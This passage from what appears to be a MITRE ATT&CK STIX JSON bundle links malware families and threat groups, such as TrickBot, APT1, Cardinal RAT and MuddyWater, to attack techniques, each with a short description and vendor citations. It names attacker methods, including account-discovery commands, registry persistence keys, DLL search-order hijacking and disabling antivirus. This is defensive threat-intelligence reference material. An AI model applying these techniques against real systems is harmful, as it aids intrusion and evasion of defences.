            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-17T22:22:21.968Z",
            "created": "2019-01-30T13:53:14.808Z"
        },
        {
            "id": "relationship--ac3b6751-e615-44f6-a086-0c236742d8fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Psylo](https://attack.mitre.org/software/S0078) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-03-17T02:15:30.760Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can disable Windows Defender.(Citation: Trend Micro Trickbot Nov 2018)",
            "id": "relationship--875c4506-3c41-4b4d-bdc9-aa66614cfa55",
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.706Z",
            "created": "2019-01-30T14:11:44.218Z"
        },
        {
            "id": "relationship--83ea0666-2b0d-4db8-821c-e51c15335bd1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather a list of processes.(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.065Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can check for installed software on the system under the Registry key <code>Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall</code>.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--26fcd59e-5758-47ec-8a5e-68150d1ff805",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.351Z",
            "created": "2019-01-30T15:19:14.922Z"
        },
        {
            "id": "relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of gathering system information.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:38:06.477Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) used the commands <code>net localgroup</code>,<code>net user</code>, and <code>net group</code> to find accounts on the system.(Citation: Mandiant APT1)",
            "id": "relationship--d014d8e1-b12e-4b85-84ee-ff4338c54393",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:26:31.570Z",
            "created": "2019-01-30T15:33:07.510Z"
        },
        {
            "id": "relationship--7a1e7afa-7052-4e47-8725-66e485efda43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim's IP address.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T19:50:03.317Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) is installed as a new service on the system.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--e6d80908-fa46-46b5-aee3-30d2e54edec0",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.321Z",
            "created": "2019-01-30T15:47:41.349Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that periodically ensures <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load</code> is set to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--8875e27f-9f8d-418b-8937-a2c4d1858607",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.580Z",
            "created": "2019-01-30T16:39:54.485Z"
        },
        {
            "id": "relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) checks for antivirus and forensics software.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.942Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a custom tool for creating reverse shells.(Citation: Symantec MuddyWater Dec 2018)",
            "id": "relationship--3ab6b7bc-bb49-4fcd-83fc-abbec5912d41",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2021-04-26T22:30:06.390Z",
            "created": "2019-01-30T17:33:40.960Z"
        },
        {
            "id": "relationship--45a1721f-67a3-479a-befe-d136ed0fdad3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-07-16T15:07:27.322Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the name of the logged-in user on the victim.(Citation: McAfee Night Dragon)",
            "id": "relationship--bd62c9fa-b1d4-4fb9-a892-99703e1f794d",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T16:07:38.993Z",
            "created": "2019-01-30T17:48:35.671Z"
        },
        {
            "id": "relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.475Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "source_name": "Talos Seduploader Oct 2017"
                }
            ],
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.(Citation: Talos Seduploader Oct 2017)",
            "id": "relationship--8d788563-901e-4002-a599-826840b00d39",
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.735Z",
            "created": "2019-01-30T18:15:25.540Z"
        },
        {
            "id": "relationship--0e8a0760-f21e-4936-80a1-769c7ef61950",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Vasport](https://attack.mitre.org/software/S0207) can download files.(Citation: Symantec Vasport May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Vasport May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"
                }
            ],
            "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:47:10.930Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "source_name": "TrendMicro MacOS April 2018"
                },
                {
                    "source_name": "Trend Micro MacOS Backdoor November 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html",
                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to delete a file from the system.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)",
            "id": "relationship--207c59d5-9df0-4838-9a0a-5555ea78b35f",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-12-02T14:30:55.640Z",
            "created": "2019-01-30T19:18:20.125Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can take screenshots of the victim\u2019s machine.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--4ab6eb52-821c-45da-b7d9-63840fe657cf",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.134Z",
            "created": "2019-01-29T17:59:44.440Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on drives and the operating system on the victim\u2019s machine.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--ef6d08c0-e9dd-45e1-b5ce-42cd5731f2ab",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.481Z",
            "created": "2019-01-30T19:50:46.767Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the capability to kill any running analysis processes and AV software.(Citation: Fortinet Agent Tesla June 2017)",
            "id": "relationship--bbbf5a68-55bf-46f8-a810-fe1e4f580167",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-04-16T14:30:35.354Z",
            "created": "2019-01-29T18:44:04.852Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut into the Startup folder to establish persistence.(Citation: Talos Konni May 2017)",
            "id": "relationship--475d30ee-999c-470c-b4b3-eed40d1db799",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.073Z",
            "created": "2019-01-31T00:36:40.999Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) can launch a remote command line to execute commands on the victim\u2019s machine.(Citation: Fortinet Remcos Feb 2017)",
            "id": "relationship--8f58f0fa-54ca-412e-a681-2f864e217039",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:43:32.421Z",
            "created": "2019-01-29T18:55:20.843Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can execute various types of scripts on the victim\u2019s machine.(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--1d1eaec4-ceeb-4fda-b177-f92fad7d3e44",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2020-03-18T15:59:09.392Z",
            "created": "2019-01-29T19:18:28.720Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails containing attachments (which are often stolen, legitimate documents sent from compromised accounts) with embedded malicious macros.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--c35e3d28-f9f2-4547-9927-7b734ebec54c",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-04-18T20:19:49.284Z",
            "created": "2019-01-31T02:01:45.725Z"
        },
        {
            "id": "relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from Internet Explorer, Mozilla Firefox, and Eudora.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T23:51:59.099Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cofense NanoCore Mar 2018",
                    "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/",
                    "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses VBS files.(Citation: Cofense NanoCore Mar 2018)",
            "id": "relationship--a01519cd-b198-4c60-a5ed-1ca3528d0606",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-18T18:17:07.038Z",
            "created": "2019-01-29T20:05:36.496Z"
        },
        {
            "id": "relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WinMM](https://attack.mitre.org/software/S0059) uses NetUser-GetInfo to identify that it is running under an \u201cAdmin\u201d account on the local system.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-05-03T16:45:45.264Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
